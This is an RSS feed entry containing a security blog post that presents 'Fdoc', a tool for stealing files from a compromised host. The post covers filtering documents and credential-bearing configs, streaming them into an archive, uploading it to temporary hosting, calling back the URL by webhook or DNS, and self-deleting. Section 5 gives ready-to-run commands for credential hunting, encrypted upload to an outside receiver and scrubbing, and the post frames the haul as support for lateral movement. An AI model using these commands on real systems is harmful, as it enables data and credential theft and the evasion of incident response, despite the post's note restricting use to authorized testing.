<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>Exfiltration - Tag - Simon's Blog</title><link>https://blog.leeissonba.com/en/tags/exfiltration/</link><description>Exfiltration - Tag - Simon's Blog</description><generator>Hugo -- gohugo.io</generator><language>en</language><managingEditor>leeissonba@gmail.com (Simon)</managingEditor><webMaster>leeissonba@gmail.com (Simon)</webMaster><copyright>Simon</copyright><lastBuildDate>Tue, 21 Jul 2026 10:25:00 +0800</lastBuildDate><atom:link href="https://blog.leeissonba.com/en/tags/exfiltration/" rel="self" type="application/rss+xml"/><item><title>Fdoc: Conditional Packing, Upload Exfil, and Callback</title><link>https://blog.leeissonba.com/en/fdoc-conditional-pack-exfil/</link><pubDate>Tue, 21 Jul 2026 10:25:00 +0800</pubDate><author>leeissonba@gmail.com (Simon)</author><guid>https://blog.leeissonba.com/en/fdoc-conditional-pack-exfil/</guid><description><![CDATA[<div class="featured-image">
                <img src="https://blog.leeissonba.com/images/posts/fdoc-conditional-pack-exfil/featured.jpg" alt="Fdoc: Conditional Packing, Upload Exfil, and Callback" referrerpolicy="no-referrer">
            </div><p>When you land on a host (or only have a short-lived shell), the goal is rarely a full disk image. More often you need to filter a subset of files, pack them into a size-bounded archive, and get the result back to the operator side quickly.</p>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>Compliance notice<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">For authorized penetration testing, incident response, and research only. Do not use against systems you do not own or lack permission to test.</div>
    </div>
</div>
<h2 id="1-use-cases">1. Use cases</h2>
<p>Typical needs include:</p>
<ul>
<li><strong>Type filtering</strong>: only certain types—contracts/report PDFs, Office files, configs, archives, recently modified documents</li>
<li><strong>Stacked conditions</strong>: names containing password/password-book, content matching credential patterns (via <code>-keyword secrets</code>), mtime after a given day</li>
<li><strong>Size and time limits</strong>: cannot blindly pack tens of GB, and cannot linger on the target</li>
<li><strong>Result callback</strong>: packing is not enough—files stay on the target; you still need the <strong>download URL</strong> back on the operator side, even if the parent process/C2 dies</li>
<li><strong>Footprint control</strong>: after transfer, avoid leaving the archive and the tool itself on disk</li>
</ul>
<p>A concrete playbook: <strong>right after initial access, run a short collection pass</strong>—filter sensitive configs, documents, spreadsheets, and source by extension/name/keyword into an archive, exfil to a local analysis box. The pack often yields network maps, password books, credential sheets, and ops manuals that support lateral movement—without slowly browsing the disk on target.</p>
<p>Red-team exfil, pulling key evidence in IR, or ops “only grab this directory/file class”—all are <strong>selective exfil</strong>, not backup, not full-disk forensics.</p>
<p><a href="https://github.com/simonlee-hello/Fdoc" target="_blank" rel="noopener noreffer ">Fdoc</a> is built for that: filter on target, pack, (optionally) upload, (optionally) callback the URL to a receiver, (optionally) scrub.</p>
<h2 id="2-pain-points-addressed">2. Pain points addressed</h2>
<table>
	<thead>
			<tr>
					<th>Pain point</th>
					<th>How Fdoc maps</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>Whole-disk/dir packs are slow and huge; useful files are a small slice</td>
					<td>Combined extension/name/content/date filters + default <code>documents</code>; credentials via <code>-keyword secrets</code></td>
			</tr>
			<tr>
					<td>Enumerate all paths then compress—bad memory and runtime on large trees</td>
					<td>Streaming Walk + write tgz</td>
			</tr>
			<tr>
					<td>Archive sits on target; session dies and the URL is gone</td>
					<td>webhook / DNS callback, decoupled from C2 lifetime</td>
			</tr>
			<tr>
					<td>Which temp host works, and size limits differ</td>
					<td>Size-based auto probe + failover, or pin a backend</td>
			</tr>
			<tr>
					<td>Uploading plaintext archives feels unsafe</td>
					<td>Optional encryption</td>
			</tr>
			<tr>
					<td>Want fewer leftovers after transfer</td>
					<td>Optional scrub; failures are observable (exit / <code>SCRUB_PARTIAL</code>)</td>
			</tr>
			<tr>
					<td>Toolchain too fragmented (packer + uploader + decryptor)</td>
					<td>One binary covers pack / upload / decrypt / backend list</td>
			</tr>
	</tbody>
</table>
<p>In one line:</p>
<p><strong>Under the constraint of “short dwell time, only some files, and still get results home,” Fdoc folds filter, pack, exfil, and callback into one scriptable command chain.</strong></p>
<h2 id="3-pipeline">3. Pipeline</h2>
<p>Main path:</p>
<p><strong>Parse flags → Walk from <code>-d</code> → filter by rules → stream-write <code>.tgz</code> → (optional) encrypt and upload to temp hosting → (optional) webhook/DNS callback URL → (optional) scrub</strong></p>
<p>Per file, filters are a fixed AND chain (unset items pass):</p>
<p>Skip <code>-x</code> dirs → regular file or followable file symlink → <code>-e</code> extension → <code>-f</code> name → <code>-t</code> date → <code>-k</code>/<code>-keyword</code> content → <code>-max-file</code> → whether total hits <code>-max</code>.</p>
<p>Commas inside one flag are OR. Example: <code>-e pdf -f invoice -t 2024-01-01</code> requires all three; <code>-keyword password:,token:</code> matches either in content. Presets work too: <code>-keyword secrets</code> (alias <code>creds</code>) expands to assignment/JSON credential substrings. Details and preset tables: <a href="#41-multi-condition-filtering" rel="">4.1 Multi-condition filtering</a>.</p>
<p>Size and exit behavior:</p>
<ul>
<li><strong>Default soft cap</strong>: total budget counted by logical size, default 1GB; per-file <code>-max-file</code> off by default (<code>0</code>)</li>
<li><strong>No explicit <code>-max</code></strong>: hitting the budget fails immediately (exit 1) and asks you to set <code>-max</code> (or <code>-max 0</code> to disable)—avoids silent truncation</li>
<li><strong>Explicit <code>-max</code></strong>: truncate and keep what was packed (exit 2); if upload is on, the partial archive may still upload—“take what you can”</li>
<li><strong>Huge single files</strong>: add <code>-max-file</code> explicitly when you need to skip them</li>
</ul>
<div class="details admonition tip open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-lightbulb" aria-hidden="true"></i>Estimate first<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">When match size is unclear, run <code>-size</code> first (stats only, no pack), check disk vs logical size, then decide whether to pack or add <code>-max</code>.</div>
    </div>
</div>
<p>Without <code>-upload</code>, packing stays local and offline. With it, probe, upload, and callback kick in.</p>
<h2 id="4-features">4. Features</h2>
<h3 id="41-multi-condition-filtering">4.1 Multi-condition filtering</h3>
<p>Narrow the set by extension, name, content, date, and skip dirs; conditions are AND across flags, OR within a comma-separated flag. Rules: <a href="#3-pipeline" rel="">3. Pipeline</a>.</p>
<table>
	<thead>
			<tr>
					<th>Condition</th>
					<th>Flag</th>
					<th>Notes</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>Extension</td>
					<td><code>-e</code></td>
					<td>Filter by extension; <code>pdf,docx</code> or presets</td>
			</tr>
			<tr>
					<td>Filename</td>
					<td><code>-f</code></td>
					<td>Fuzzy path substring (e.g. <code>invoice,secret</code>)</td>
			</tr>
			<tr>
					<td>Content keyword</td>
					<td><code>-k</code> / <code>-keyword</code></td>
					<td>Search file content (skip obvious binaries; ~8MB max per file). Literal commas = OR; presets <code>secrets</code>/<code>creds</code> expand to <code>password=</code>, <code>&quot;password&quot;:</code>, etc., mixable with literals</td>
			</tr>
			<tr>
					<td>mtime</td>
					<td><code>-t</code></td>
					<td>Only files modified on/after that day (<code>YYYY-MM-DD</code>)</td>
			</tr>
			<tr>
					<td>Skip dirs</td>
					<td><code>-x</code></td>
					<td>Defaults include per-OS cache/junk lists; an explicit <code>-x</code> replaces the whole table</td>
			</tr>
	</tbody>
</table>
<p><code>-e</code> presets:</p>
<table>
	<thead>
			<tr>
					<th>Value</th>
					<th>Meaning</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><code>documents</code> (default)</td>
					<td>pdf/doc/xls/ppt/csv</td>
			</tr>
			<tr>
					<td><code>all</code></td>
					<td>common docs + archives + config (still not every file on disk)</td>
			</tr>
			<tr>
					<td><code>any</code></td>
					<td>no extension limit</td>
			</tr>
			<tr>
					<td><code>pdf,txt,...</code></td>
					<td>explicit list</td>
			</tr>
	</tbody>
</table>
<p><code>-keyword</code> presets:</p>
<table>
	<thead>
			<tr>
					<th>Value</th>
					<th>Meaning</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><code>secrets</code> / <code>creds</code></td>
					<td>Credential assignment/JSON substrings (<code>password:</code>, <code>password =</code>, <code>&quot;password&quot;:</code>, <code>api_key=</code>, Chinese <code>密码：</code>, etc.); e.g. <code>-keyword secrets,corp_sso=</code></td>
			</tr>
	</tbody>
</table>
<p>Examples:</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">Fdoc -d /data -e pdf -f invoice -keyword <span class="s1">&#39;token:&#39;</span> -t 2025-01-01 -o hits.tgz
</span></span><span class="line"><span class="cl">Fdoc -d /data -e ini,conf,json,yml -keyword secrets -o creds.tgz</span></span></code></pre></div></div>
<p>Symlinks: on Unix/macOS, <strong>file symlinks are followed</strong> (content from target, archive path keeps the link path); directory symlinks are not entered. Windows <code>.lnk</code> is not resolved—only the shortcut file itself is packed when <code>-e</code> matches.</p>
<h3 id="42-stream-pack-with-size-budget">4.2 Stream pack with size budget</h3>
<p>No full listing then compress—memory stays bounded. Use <code>-size</code> to estimate first. Long jobs emit <code>PACK_PROGRESS</code> / <code>UPLOAD_PROGRESS</code> heartbeats for headless use.</p>
<h3 id="43-built-in-upload-auto-pick-temp-backends-by-size">4.3 Built-in upload: auto-pick temp backends by size</h3>
<p>With <code>-upload</code>, backends are filtered by archive size, probed in parallel, and failed over by latency; pin one with <code>-b</code> (demos often use <code>-b lit</code>). Full names and size caps: <code>Fdoc backends</code>. Without callback, the URL goes to stdout for scripting; status lines on stderr (<code>UPLOAD_OK</code>, etc.).</p>
<h3 id="44-callback-decoupled-from-the-session">4.4 Callback decoupled from the session</h3>
<p>With <code>-webhook</code> / <code>-dns</code>, the download URL is pushed to your receiver: HTTPS webhook first, DNSLog shards on failure. If the parent session dies, you may still recover the URL from the callback. stdout/stderr roles stay fixed so scripts and humans do not fight over output.</p>
<h3 id="45-optional-pre-upload-encryption">4.5 Optional pre-upload encryption</h3>
<p><code>-encrypt -key</code>: AES-256-CBC with <code>UP01</code> magic; remote objects use <code>.bin</code> so they are not mistaken for plain gzip. Built-in <code>Fdoc decrypt</code>—no second tool. The key is a passphrase padded to 32 bytes (not PBKDF2); treat it as a shared-secret model.</p>
<h3 id="46-optional-scrub">4.6 Optional scrub</h3>
<p>After a successful upload (and successful callback if configured), delete the archive and the binary itself. On Windows, self-delete is best-effort (delayed / reboot delete); failure yields <code>SCRUB_PARTIAL</code> and a non-zero exit.</p>
<h3 id="47-cross-platform-static-binary">4.7 Cross-platform static binary</h3>
<p>Ships as dependency-free static singles for Linux / Windows / macOS (amd64 and arm64). Same flags across platforms; Windows scrub, SkipDirs, and <code>.lnk</code> behavior are covered above and in release notes.</p>
<h2 id="5-minimal-examples">5. Minimal examples</h2>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Estimate size first when unsure</span>
</span></span><span class="line"><span class="cl">Fdoc -d /data -e documents -size
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Pack</span>
</span></span><span class="line"><span class="cl">Fdoc -d /data -e documents -max 500MB -o /tmp/docs.tgz
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Hunt credential patterns in config/JSON</span>
</span></span><span class="line"><span class="cl">Fdoc -d /data -e ini,conf,json,yml -keyword secrets -o /tmp/creds.tgz
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Upload; URL on stdout</span>
</span></span><span class="line"><span class="cl">Fdoc -d /data -o /tmp/docs.tgz -upload -q
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Encrypt + upload + webhook callback + scrub</span>
</span></span><span class="line"><span class="cl">Fdoc -d /data -e pdf,docx -t 2025-01-01 -o /tmp/docs.tgz <span class="se">\
</span></span></span><span class="line"><span class="cl">  -upload -encrypt -key <span class="s2">&#34;</span><span class="nv">$KEY</span><span class="s2">&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">  -webhook https://your.receiver/hook <span class="se">\
</span></span></span><span class="line"><span class="cl">  -scrub -q</span></span></code></pre></div></div>
<p>DNS shard format, encryption disk use, Windows SkipDirs, and related details: see the <a href="https://github.com/simonlee-hello/Fdoc" target="_blank" rel="noopener noreffer ">Fdoc README</a>.</p>
<h2 id="6-terminal-demos">6. Terminal demos</h2>
<p>Four clips cover the main path: size estimate → filtered pack → pinned-backend upload → upload with webhook callback.</p>
<figure><a class="lightgallery" href="/images/posts/fdoc-conditional-pack-exfil/01-size.gif" title="/images/posts/fdoc-conditional-pack-exfil/01-size.gif" data-thumbnail="/images/posts/fdoc-conditional-pack-exfil/01-size.gif" data-sub-html="<h2>Size estimate (-size)</h2>">
        <img src="https://blog.leeissonba.com/images/posts/fdoc-conditional-pack-exfil/01-size.gif" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">Size estimate (<code>-size</code>)</figcaption>
    </figure>
<figure><a class="lightgallery" href="/images/posts/fdoc-conditional-pack-exfil/02-filter-pack.gif" title="/images/posts/fdoc-conditional-pack-exfil/02-filter-pack.gif" data-thumbnail="/images/posts/fdoc-conditional-pack-exfil/02-filter-pack.gif" data-sub-html="<h2>Multi-condition filter then pack</h2>">
        <img src="https://blog.leeissonba.com/images/posts/fdoc-conditional-pack-exfil/02-filter-pack.gif" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">Multi-condition filter then pack</figcaption>
    </figure>
<figure><a class="lightgallery" href="/images/posts/fdoc-conditional-pack-exfil/03-upload.gif" title="/images/posts/fdoc-conditional-pack-exfil/03-upload.gif" data-thumbnail="/images/posts/fdoc-conditional-pack-exfil/03-upload.gif" data-sub-html="<h2>Upload (-b lit)</h2>">
        <img src="https://blog.leeissonba.com/images/posts/fdoc-conditional-pack-exfil/03-upload.gif" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">Upload (<code>-b lit</code>)</figcaption>
    </figure>
<figure><a class="lightgallery" href="/images/posts/fdoc-conditional-pack-exfil/04-upload-webhook.gif" title="/images/posts/fdoc-conditional-pack-exfil/04-upload-webhook.gif" data-thumbnail="/images/posts/fdoc-conditional-pack-exfil/04-upload-webhook.gif" data-sub-html="<h2>Upload &#43; webhook callback</h2>">
        <img src="https://blog.leeissonba.com/images/posts/fdoc-conditional-pack-exfil/04-upload-webhook.gif" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">Upload + webhook callback</figcaption>
    </figure>]]></description></item></channel></rss>